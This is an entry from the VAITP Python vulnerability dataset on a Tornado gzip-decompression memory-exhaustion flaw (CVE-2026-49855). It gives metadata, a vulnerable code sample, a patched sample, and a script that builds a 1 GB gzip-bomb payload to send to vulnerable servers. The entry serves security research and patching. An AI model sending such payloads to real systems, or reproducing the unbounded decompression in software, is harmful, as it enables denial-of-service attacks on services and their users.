CVE-2026-49855
Tornado: Unchecked gzip decompression allows for memory exhaustion and DoS.
- CVSS 7.5
- CWE-409
- Resource Management
- Remote
Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, Tornado gzip decompression routines processed limited-size chunks but did not enforce an overall limit on accumulated decompressed chunks, allowing a malicious server accessed by SimpleAsyncHTTPClient or an HTTPServer configured with decompress_request=True to consume effectively unlimited memory. This issue is fixed in version 6.5.6.
- CWE
- CWE-409
- CVSS base score
- 7.5
- Published
- 2026-07-14
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Tornado
- Fixed by upgrading
- Yes
Solution
Upgrade Tornado to version 6.5.6 or later.
Vulnerable code sample
import zlib
import io
# This function simulates the vulnerable decompression logic.
# It represents the behavior of Tornado's HTTP client or server
# when processing a gzipped response or request body.
def vulnerable_decompress(gzipped_payload):
# This simulates reading the compressed data from a network stream.
payload_stream = io.BytesIO(gzipped_payload)
# Initialize the decompressor for gzip format.
decompressor = zlib.decompressobj(16 + zlib.MAX_WBITS)
# Store decompressed parts in a list.
decompressed_body_parts = []
# Define a size for reading chunks from the stream. Tornado processed
# the stream in chunks.
CHUNK_SIZE = 65536
# Loop to decompress the stream chunk by chunk.
while True:
compressed_chunk = payload_stream.read(CHUNK_SIZE)
if not compressed_chunk:
break
# Decompress the current chunk.
decompressed_chunk = decompressor.decompress(compressed_chunk)
decompressed_body_parts.append(decompressed_chunk)
# THE VULNERABILITY:
# There is no check on the total accumulated size of the data
# in `decompressed_body_parts`. A malicious payload can make this
# list grow indefinitely, consuming excessive memory.
# Finalize decompression.
remaining = decompressor.flush()
if remaining:
decompressed_body_parts.append(remaining)
# This final operation joins all the parts in memory. If the original
# payload was a "gzip bomb", this could consume gigabytes of RAM.
full_body = b"".join(decompressed_body_parts)
return full_body
# 1. Create a "gzip bomb": a small compressed payload that expands to a large size.
# This simulates a malicious payload from a server or client.
# We compress 10MB of zeros, which compresses very effectively.
original_data = b'\0' * (10 * 1024 * 1024)
malicious_gzipped_payload = zlib.compress(original_data, level=9)
# 2. Run the vulnerable function.
# This call will allocate a 10MB byte array in memory (`final_decompressed_data`)
# from a much smaller compressed payload, demonstrating the memory exhaustion issue.
final_decompressed_data = vulnerable_decompress(malicious_gzipped_payload)Patched code sample
import zlib
class SafeGzipDecompressor:
"""
A simplified representation of the fixed Gzip decompressor in Tornado.
The fix for the vulnerability involves tracking the cumulative size of the
decompressed data and checking it against a predefined limit (`max_body_size`)
to prevent excessive memory allocation.
"""
def __init__(self, max_body_size: int):
# The maximum total size of the decompressed output.
# This parameter is central to the vulnerability fix.
self.max_body_size = max_body_size
self._decompressor = zlib.decompressobj(16 + zlib.MAX_WBITS)
self._decompressed_size = 0
def decompress(self, chunk: bytes) -> bytes:
"""
Decompresses a data chunk while enforcing the total size limit.
"""
decompressed_chunk = self._decompressor.decompress(chunk)
# --- THE FIX ---
# The vulnerable version processed chunks but did not track the total
# accumulated size. The following lines were added to fix this.
self._decompressed_size += len(decompressed_chunk)
if self._decompressed_size > self.max_body_size:
raise ValueError(
f"Decompressed content exceeded approved memory limit: "
f"{self._decompressed_size} > {self.max_body_size}"
)
# --- END OF FIX ---
return decompressed_chunk
def flush(self) -> bytes:
"""
Flushes remaining data, also checking against the size limit.
"""
flushed_chunk = self._decompressor.flush()
# The size check is also required for the final flushed data.
self._decompressed_size += len(flushed_chunk)
if self._decompressed_size > self.max_body_size:
raise ValueError(
f"Decompressed content exceeded approved memory limit: "
f"{self._decompressed_size} > {self.max_body_size}"
)
return flushed_chunkPayload
import gzip
# This code generates a "gzip bomb" payload.
# It creates a small, compressed bytestring that expands to a very large size,
# consuming significant memory on the target system when decompressed.
# A vulnerable Tornado instance will attempt to decompress this entire payload
# into memory without enforcing an overall size limit.
# Target size of the decompressed data (e.g., 1 Gigabyte).
DECOMPRESSED_TARGET_SIZE = 1 * 1024 * 1024 * 1024
# Create a large block of highly compressible data (null bytes are ideal).
compressible_data = b'\x00' * DECOMPRESSED_TARGET_SIZE
# Compress the data. The resulting payload will be relatively small.
# This 'payload' is the binary data to be sent in the body of an HTTP
# request or response with the 'Content-Encoding: gzip' header.
payload = gzip.compress(compressible_data)
# The 'payload' variable now holds the malicious binary data.
# For example, to write it to a file:
# with open('payload.gz', 'wb') as f:
# f.write(payload)
Cite this entry
@misc{vaitp:cve202649855,
title = {{Tornado: Unchecked gzip decompression allows for memory exhaustion and DoS.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-49855},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49855/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
